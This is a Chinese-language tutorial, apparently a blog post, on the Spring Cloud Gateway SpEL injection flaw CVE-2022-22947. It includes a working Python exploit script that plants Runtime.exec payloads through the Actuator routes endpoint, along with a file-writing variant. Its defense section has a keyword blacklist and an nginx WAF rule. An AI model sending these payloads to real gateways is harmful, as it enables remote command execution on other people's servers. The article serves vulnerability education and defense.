Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

漏洞背景与危害2022年3月,Spring官方披露了一个高危漏洞------CVE-2022-22947,该漏洞存在于Spring Cloud Gateway组件中。Spring Cloud Gateway 是 Spring 生态中用于构建API网关的组件,它基于Spring WebFlux,提供了路由、过滤、限流等核心功能。该漏洞的核心问题在于:Actuator 端点在处理路由配置时,未对用户输入的 SpEL 表达式进行有效过滤,导致攻击者可以通过构造恶意请求,执行任意系统命令 。漏洞影响版本为 Spring Cloud Gateway 3.1.x <= 3.1.1、3.0.x <= 3.0.7 以及更早版本。想象一下,你的API网关突然变成了黑客的"提权工具"------他们可以远程执行任何命令,读取服务器文件、植入后门、甚至控制整个服务集群。这就是该漏洞的严重性。## 漏洞原理:SpEL 表达式注入SpEL(Spring Expression Language)是Spring框架中的表达式语言,它支持方法调用、属性访问、集合操作等强大功能。在正常场景中,Spring Cloud Gateway 使用 SpEL 来动态解析路由过滤器的参数,例如:java@Beanpublic RouteLocator customRouteLocator(RouteLocatorBuilder builder) { return builder.routes() .route("path_route", r -> r.path("/get") .filters(f -> f.addRequestHeader("X-Request-Custom", "CustomHeader")) .uri("http://httpbin.org")) .build();}但问题是,当通过 Actuator 接口动态创建路由时,用户输入的过滤器参数会被直接传递给 SpEL 解析器。攻击者可以在参数中嵌入恶意表达式,如 T(java.lang.Runtime).getRuntime().exec("calc"),从而触发远程代码执行。## 复现环境搭建为了演示漏洞,我们需要一个存在漏洞的 Spring Cloud Gateway 项目。以下是关键配置:java// application.yml 配置spring: cloud: gateway: enabled: true application: name: gateway-demomanagement: endpoints: web: exposure: include: "*" # 暴露所有Actuator端点(生产环境应禁用)## 攻击复现:一步步执行系统命令### 第一步:创建恶意路由攻击者首先向 Actuator 的 /gateway/routes 端点发送 POST 请求,创建一个包含恶意 SpEL 表达式的路由:python# 攻击脚本示例:利用Python requests库发送恶意请求import requestsimport json# 目标网关地址gateway_url = "http://127.0.0.1:8080"# 构造恶意路由配置# 关键点:在 filters 参数中嵌入 SpEL 表达式malicious_route = { "id": "evil_route", # 路由ID "filters": [{ "name": "AddRequestHeader", "args": { # 这里注入系统命令:在Windows上执行calc.exe(计算器) "name": "X-Custom-Header", "value": "#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}" } }], "uri": "http://httpbin.org:80", # 合法目标地址 "predicates": [{ "name": "Path", "args": {"_genkey_0": "/test/**"} }]}# 发送创建路由请求response = requests.post( f"{gateway_url}/actuator/gateway/routes", headers={"Content-Type": "application/json"}, data=json.dumps(malicious_route))print(f"创建路由响应状态码: {response.status_code}")print(f"响应内容: {response.text}")### 第二步:触发路由刷新创建路由后,需要刷新网关配置才能触发 SpEL 解析:python# 刷新路由缓存,触发漏洞refresh_response = requests.post( f"{gateway_url}/actuator/gateway/refresh")print(f"刷新响应状态码: {refresh_response.status_code}")# 访问测试路径,触发路由执行test_response = requests.get(f"{gateway_url}/test/any")print(f"测试请求状态码: {test_response.status_code}")在漏洞环境下,执行这段代码后,目标服务器会弹出计算器窗口(Windows系统),或者执行 id 命令返回系统信息。如果无法直接看到效果,可以尝试更隐蔽的命令,如写入文件:python# 更隐蔽的攻击payload:写入文件stealth_payload = "#{T(java.lang.Runtime).getRuntime().exec('echo \"pwned\" > /tmp/hacked.txt')}"## 防御方案### 立即升级版本最直接的修复方案是升级到安全版本:- Spring Cloud Gateway 3.1.x -> 3.1.2± Spring Cloud Gateway 3.0.x -> 3.0.8+### 禁用Actuator端点如果无法立即升级,可以禁用敏感端点:yaml# application.ymlmanagement: endpoints: web: exposure: exclude: "gateway" # 禁用gateway相关端点### 添加SpEL安全校验在代码层面添加自定义过滤器,限制 SpEL 表达式的执行范围:java// 自定义SpEL安全校验器@Componentpublic class SafeSpelParser { public Object parseExpression(String expression) { // 只允许简单的属性访问,禁止方法调用 if (expression.contains("T(") || expression.contains("exec(")) { throw new SecurityException("禁止的危险表达式: " + expression); } ExpressionParser parser = new SpelExpressionParser(); return parser.parseExpression(expression).getValue(); }}### 网络层防护在 WAF(Web应用防火墙)层面添加规则,拦截包含 T(java.lang.Runtime) 等关键字的请求:nginx# Nginx WAF规则示例if ($request_body ~* "T\(java\.lang\.Runtime\)") { return 403;}## 总结CVE-2022-22947 是一个典型的 SpEL 表达式注入漏洞,它提醒我们:动态执行用户输入的表达式是极其危险的操作 。Spring Cloud Gateway 作为微服务架构中的流量入口,其安全性至关重要。通过这个案例,我们应该记住三点:1. 默认安全原则 :不要暴露不必要的 Actuator 端点,尤其在生产环境2. 输入验证 :所有用户输入都需要经过严格的校验和过滤3. 及时升级:关注官方安全公告,及时修复已知漏洞最后,建议所有使用 Spring Cloud Gateway 的团队立即检查版本并采取相应措施。安全无小事,一个看似简单的表达式注入,可能让你的整个系统沦陷。

相关推荐
清水白石00834 分钟前
Python 死锁排查全攻略:从线程卡死到锁依赖定位与工程化修复
linux·网络·python
TechWayfarer1 小时前
批量查IP归属地,在线API、脚本、离线库怎么选?三种方案实测对比
网络·python·网络协议·tcp/ip
ryan_9965 小时前
MCP Transport 完整指南:stdio 与 Streamable HTTP 到底怎样传消息
网络·网络协议·http
数据知道8 小时前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
lf13210279 小时前
用 JSON Schema 管装修节点记录:从照片台账到可校验工程数据
网络·数据库·人工智能·经验分享·物联网·json·智能家居
LayZhangStrive9 小时前
后端通识 - 远程服务调用RPC
网络·网络协议·rpc·sentinel·openfeign·远程服务调用
华清远见成都中心10 小时前
FreeRTOS事件组(Event Group)的工作机制分析
服务器·网络·网络协议
xiaoxiangsiyan10 小时前
RHCE2026云原生路线EX188和EX288完整备考指南
运维·网络·云原生·自动化
西安景驰电子11 小时前
《PTP精确时间协议系列》第二篇:工程部署、调试与性能优化
运维·服务器·网络·数据库·windows·性能优化
虹科网络安全12 小时前
KnowBe4 SAT 是什么?安全意识培训平台功能与应用详解
网络